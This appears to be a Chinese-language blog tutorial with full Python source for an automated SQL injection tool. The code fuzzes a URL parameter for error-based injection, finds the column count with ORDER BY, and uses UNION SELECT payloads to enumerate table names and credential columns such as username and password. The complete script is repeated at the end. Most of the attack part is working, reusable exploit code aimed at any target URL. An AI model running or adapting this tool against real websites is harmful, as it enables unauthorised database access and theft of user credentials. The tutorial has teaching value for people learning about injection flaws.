python編寫sql注入自動探測工具

  • sql注入介紹

    • 什麼是sql注入
      • 用戶輸入內容拼接到sql語句中,並執行
    • Sql注入危害
      • 榨取數據
      • 執行系統命令
      • 向數據庫插入代碼
      • 繞過驗證登錄

工具參數獲取

  • 工具思路
    • 驗證sql注入是否存在
    • 基於錯誤base_error
    • You have an error in SQL syntax;
    • 獲取測試url,對指定參數進行模糊測試FUZZ
  • 工具參數設置
    • 測試url -u
    • 測試FUZZ文件 -i

參數獲取代碼編寫

parser = optparse.OptionParser()
parser.usage="sqlinjector.py -u url -i inject_fuzz.txt"
parser.add_option("-u",'--url',dest='url',help='url to test sql',action='store',type='string',metavar='URL')
parser.add_option('-i','--inject',dest='inject_file',help="fuzz fliename",action='store',type='string',metavar='FUZZFILE')
(options,args) = parser.parse_args()

url = options.url
fuzz_file = options.inject_file

Sql注入測試

  • 原理
    •   根據是否具有特定字符,
        you have an error in your SQL syntax實現
      
    •   發送請求對每一個url進行拼接,
        得到響應字符串,查看是否具有SQL syntax 
      
def get_urls():
    urls = []
    with open(fuzz_file,'r')as f:
        payload_list = f.readlines()    #每一項之後都有一個\n需要使用strip()去除
        for payload in payload_list:
            temp_url = url       #生成一個新的url,避免拼接內容後就
            payload = payload.strip()
            urls.append(temp_url.replace("FUZZ",payload)) #replace拼接內容,將前者替換爲後者
        return urls


inject_urls = get_urls()
result_list = []    # 存儲sql注入驗證成功的url列表
is_injectable = []


def test_sql():
    print("testing url:")
    for item in inject_urls:
        r = requests.get(url=item)
        print(r.url)
        result = r.text
        if result.find("SQL syntax") != -1: #判斷返回結果是否存在SQL syntax
            is_injectable.append(True)
            result_list.append(r.url)


test_sql()
if len(result_list) == 0:
    print("no sql inject")
else:
    print("*"*50)
    print("exist sql inject")
    for item in result_list:
        print(item)
print("*"*50)

探測表字段數

  • 利用sql注入
    • 獲取當前注入點,對應數據表的字段數
  • 定義
    • def delect_columns_num():
    • 探測當前字段數/列數
def detect_column_num():
    i = 1
    while i < 100:
        i += 1
        temp_url = url.replace("FUZZ","1' order by " + str(i) + "--+")
        r = requests.get(temp_url)
        print(r.url)
        if r.text.find("Unknow") == -1:
            continue
        else:
            break
    return i-1

if len(is_injectable) > 0:
    column = detect_column_num()
    print("Find this table has "+str(column) + " " +  "column")

探測表名

  • 原理
    • 注入點報錯,聯合查詢,枚舉表名
    • -1’union+select+1,2,3+from+users±-+
  • 實現
    • 定義detect_table_name():
table_result = []
def detect_table_name():
    u = ""
    for i in range(column):     #從0開始循環到column最大值
       u = u + str(i+1)+","     #第一次i是0所以+1
    u = u[0:len(u)-1]
    table_list = ["admin","admin123","root","administrator","users","emails","referers","uagents"]
    key = "doesn't exist"	#不存在注入點時的報錯信息,用以判斷正確的
    for table_name in table_list:
        temp_url = url.replace("FUZZ","-1'+union+select+" + u + "+from+"+ table_name+"--+")
        r = requests.get(temp_url)
        if r.text.find(key) == -1:      #沒有找到
            table_result.append(table_name)

if len(is_injectable) > 0 :
    detect_table_name()
    print('*'*50)
    print("Find this table_name in DB:")
    for table in table_result:
        print(table)

探測列名

  • 原理
    •  使用聯合查詢,查詢指定列名
       ‘-1+union+select+1,2,3+from+表名+--+,
      
    •  1,2,3替換爲對應的列名
      
  • 實現
    • 定義def detect_column_name():
column_result = []	#用於存儲列名總值
def detect_column_name():
    key = "Unknown column"
    u = ""      #獲取字段
    for i in range(column):  # 從0開始循環到column最大值
        u = u + str(i + 1) + ","  # 第一次i是0所以+1
    u = u[0:len(u) - 1]
    column_content = ["id", "user", "admin", "username", "password", "users"]
    for table in table_result:
        for line in column_content:
            temp_url = url.replace("FUZZ","-1'+union+select+"+ u.replace("1",line) +"+from+"+table+"+--+")
            r = requests.get(temp_url)
            if r.text.find(key) == -1:
                column_result.append(line)#未找到則追加列名
        else:
            column_result.append(table)     #[column,table]反之追加表名


if len(is_injectable) > 0:
    detect_column_name()
    print("*"*50)
    print("Find these column name:")
    for line in column_result:
        if line not in table_result:
            print(line)
        else:
            print("上邊內容就是%s表對應的字段名: "%line)

完整代碼

import optparse
import requests

parser = optparse.OptionParser()
parser.usage="sqlinjector.py -u url -i inject_fuzz.txt"
parser.add_option("-u",'--url',dest='url',help='url to test sql',action='store',type='string',metavar='URL')
parser.add_option('-i','--inject',dest='inject_file',help="fuzz fliename",action='store',type='string',metavar='FUZZFILE')
(options,args) = parser.parse_args()

url = options.url
fuzz_file = options.inject_file


def get_urls():
    urls = []
    with open(fuzz_file,'r')as f:
        payload_list = f.readlines()    #每一項之後都有一個\n需要使用strip()去除
        for payload in payload_list:
            temp_url = url       #生成一個新的url,避免拼接內容後就
            payload = payload.strip()
            urls.append(temp_url.replace("FUZZ",payload)) #replace拼接內容,將前者替換爲後者
        return urls


inject_urls = get_urls()
result_list = []    # 存儲sql注入驗證成功的url列表
is_injectable = []


def test_sql():
    print("testing url:")
    for item in inject_urls:
        r = requests.get(url=item)
        print(r.url)
        result = r.text
        if result.find("SQL syntax") != -1: #判斷返回結果是否存在SQL syntax
            is_injectable.append(True)
            result_list.append(r.url)


test_sql()
if len(result_list) == 0:
    print("no sql inject")
else:
    print("*"*50)
    print("exist sql inject")
    for item in result_list:
        print(item)
print("*"*50)
#功能實現,發現注入點對應的數據表擁有的字段數,列表
def detect_column_num():
    i = 1
    while i < 100:
        i += 1
        temp_url = url.replace("FUZZ","1' order by " + str(i) + "--+")
        r = requests.get(temp_url)
        print(r.url)
        if r.text.find("Unknow") == -1:
            continue
        else:
            break
    return i-1


if len(is_injectable) > 0:
    column = detect_column_num()
    print("Find this table has "+str(column) + " " +  "column")

table_result = []
def detect_table_name():
    u = ""
    for i in range(column):     #從0開始循環到column最大值
       u = u + str(i+1)+","     #第一次i是0所以+1
    u = u[0:len(u)-1]
    table_list = ["admin","admin123","root","administrator","users","emails","referers","uagents"]
    key = "doesn't exist"
    for table_name in table_list:
        temp_url = url.replace("FUZZ","-1'+union+select+" + u + "+from+"+ table_name+"--+")
        r = requests.get(temp_url)
        if r.text.find(key) == -1:      #沒有找到,則追加表名
            table_result.append(table_name)

if len(is_injectable) > 0 :
    detect_table_name()
    print('*'*50)
    print("Find this table_name in DB:")
    for table in table_result:
        print(table)

column_result = []
def detect_column_name():
    key = "Unknown column"
    u = ""      #獲取字段
    for i in range(column):  # 從0開始循環到column最大值
        u = u + str(i + 1) + ","  # 第一次i是0所以+1
    u = u[0:len(u) - 1]
    column_content = ["id", "user", "admin", "username", "password", "users"]
    for table in table_result:
        for line in column_content:
            temp_url = url.replace("FUZZ","-1'+union+select+"+ u.replace("1",line) +"+from+"+table+"+--+")
            r = requests.get(temp_url)
            if r.text.find(key) == -1:      #未找到則追加列名
                column_result.append(line)
        else:
            column_result.append(table)     #[column,table]反之追加表名


if len(is_injectable) > 0:
    detect_column_name()
    print("*"*50)
    print("Find these column name:")
    for line in column_result:  
        if line not in table_result:    #判斷列名是否不存在列名列名列表中
            print(line)
        else:
            print("上邊內容就是%s表對應的字段名: "%line)

運行效果:

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章